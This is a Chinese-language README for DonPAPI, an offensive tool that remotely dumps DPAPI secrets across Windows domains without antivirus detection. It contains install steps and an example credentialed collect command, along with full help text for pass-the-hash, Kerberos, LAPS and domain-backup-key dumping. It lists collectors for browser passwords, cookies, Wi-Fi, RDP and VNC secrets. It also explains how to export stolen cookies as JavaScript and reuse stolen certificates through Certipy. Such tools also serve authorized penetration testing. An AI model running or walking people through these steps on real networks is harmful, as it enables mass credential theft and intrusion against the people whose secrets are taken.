DonPAPI 可在多台 Windows 计算机上远程自动转储机密,同时具备防御规避意识。

收集的凭据:
我们曾用法语做过一次关于 DPAPI 的演讲,标题为 DPAPI - Don't Put Administration Passwords In 🇫🇷:
此工具应通过 pipx 或在专用虚拟环境中安装
pipx install donpapi
或(使用最新提交)
pipx install git+https://github.com/login-securite/DonPAPI.git
或(用于开发)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
此操作用于收集在 -t 中指定的目标上的机密。
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
身份验证通过指定域(--domain)、用户名(--username),以及可选的密码(--password)、哈希(--hashes)、AES 密钥(--aesKey)或 ccache 格式的 Kerberos 票据(-k,Impacket 风格)来完成。你也可以通过 --laps 和本地 LAPS 账户用户名作为该参数值,在计算机上使用 LAPS 进行身份验证。
默认情况下,DonPAPI 将收集:
你可以通过 --collectors(SharpHound 风格)指定要收集的每一项。如果使用 --fetch-pvk,DonPAPI 将自动获取 AD 域的域备份密钥并使用它来解密主密钥。否则,你可以使用 --pvkfile 提供域备份密钥。--pwdfile、--ntfile 用于向 DonPAPI 提供用于解锁主密钥的机密。但如果你有最新解密的主密钥,可以使用 --mkfile。
[!WARNING] 某些收集方法需要转储 LSA 机密(以获取 DPAPI 计算机密钥)。此操作可能很嘈杂,现代 EDR 会立即阻止你。你可以使用
-nr来避免执行这些嘈杂的操作,但某些机密将无法收集。
DonPAPI 现在支持配置文件,用于“定制” Secretsdump 行为。该文件将位于 ~/.donpapi/donpapi.conf,默认内容如下:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPI 支持恢复文件。每次运行 collect 命令时,它都会保存一个包含剩余目标和所有选项的恢复文件。默认情况下,该文件位于 ~/.donpapi/register/ 文件夹中。
有时在内部评估中,你想对某些特定目标进行强力攻击,并反复在其计算机上收集机密。不要使用愚蠢的 bash 循环,只需使用 --keep-collecting X,其中 X 是每次收集会话之间等待的秒数。
现在你已经收集了所有机密,你可能想浏览它们。DonPAPI 允许你通过 Web GUI 浏览所有收集到的机密。启动它,请使用 donpapi gui。
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
常规
此屏幕将显示所有收集的计算机中重复使用的 SAM 密码、转储的计划任务以及从 LSA 转储的服务账户密码。你可以将所有内容导出为 CSV 格式。
机密
此屏幕将显示使用 DonPAPI 掠夺到的所有机密。你可以在多个元素上搜索,并将机密导出为 CSV。
Cookie
此屏幕将显示使用 DonPAPI 掠夺到的所有 Cookie。你可以在多个元素上搜索,并将 Cookie 导出为 CSV,也可以将其复制粘贴为 JavaScript 代码以粘贴到浏览器中。
证书
此屏幕将显示使用 DonPAPI 掠夺到的所有证书。你可以在多个元素上搜索,并将证书导出为 CSV。此外,如果证书允许客户端身份验证,点击 Yes 将复制粘贴一条 Certipy 命令以使用该证书。
此工具仅供教育和道德黑客目的使用。Login Sécurité 不对使用此工具进行滥用行为负责。
GUI 前端使用 Vue3 + Vite.js 开发,后端使用 Python Flask。
默认情况下,它将暴露在 http://127.0.0.1:8088,但你可以根据需要将其暴露到其他地址,甚至 https://0.0.0.0:443。
[!WARNING] 请不要像这样将 DonPAPI 暴露给整个网络,这可能非常危险。DonPAPI 支持通过
--ssl使用 HTTPS,你可以通过--basic-auth添加基本身份验证。此外,绝对不要像这样将 DonPAPI 暴露在互联网上。
点击表格中的值将立即将其放入剪贴板。
GUI 中提供了一个 隐藏密码 复选框,以便在 GUI 中隐藏敏感数据,非常适合截图。
所有赞誉归功于这些伟大的家伙进行的艰苦研究和编码: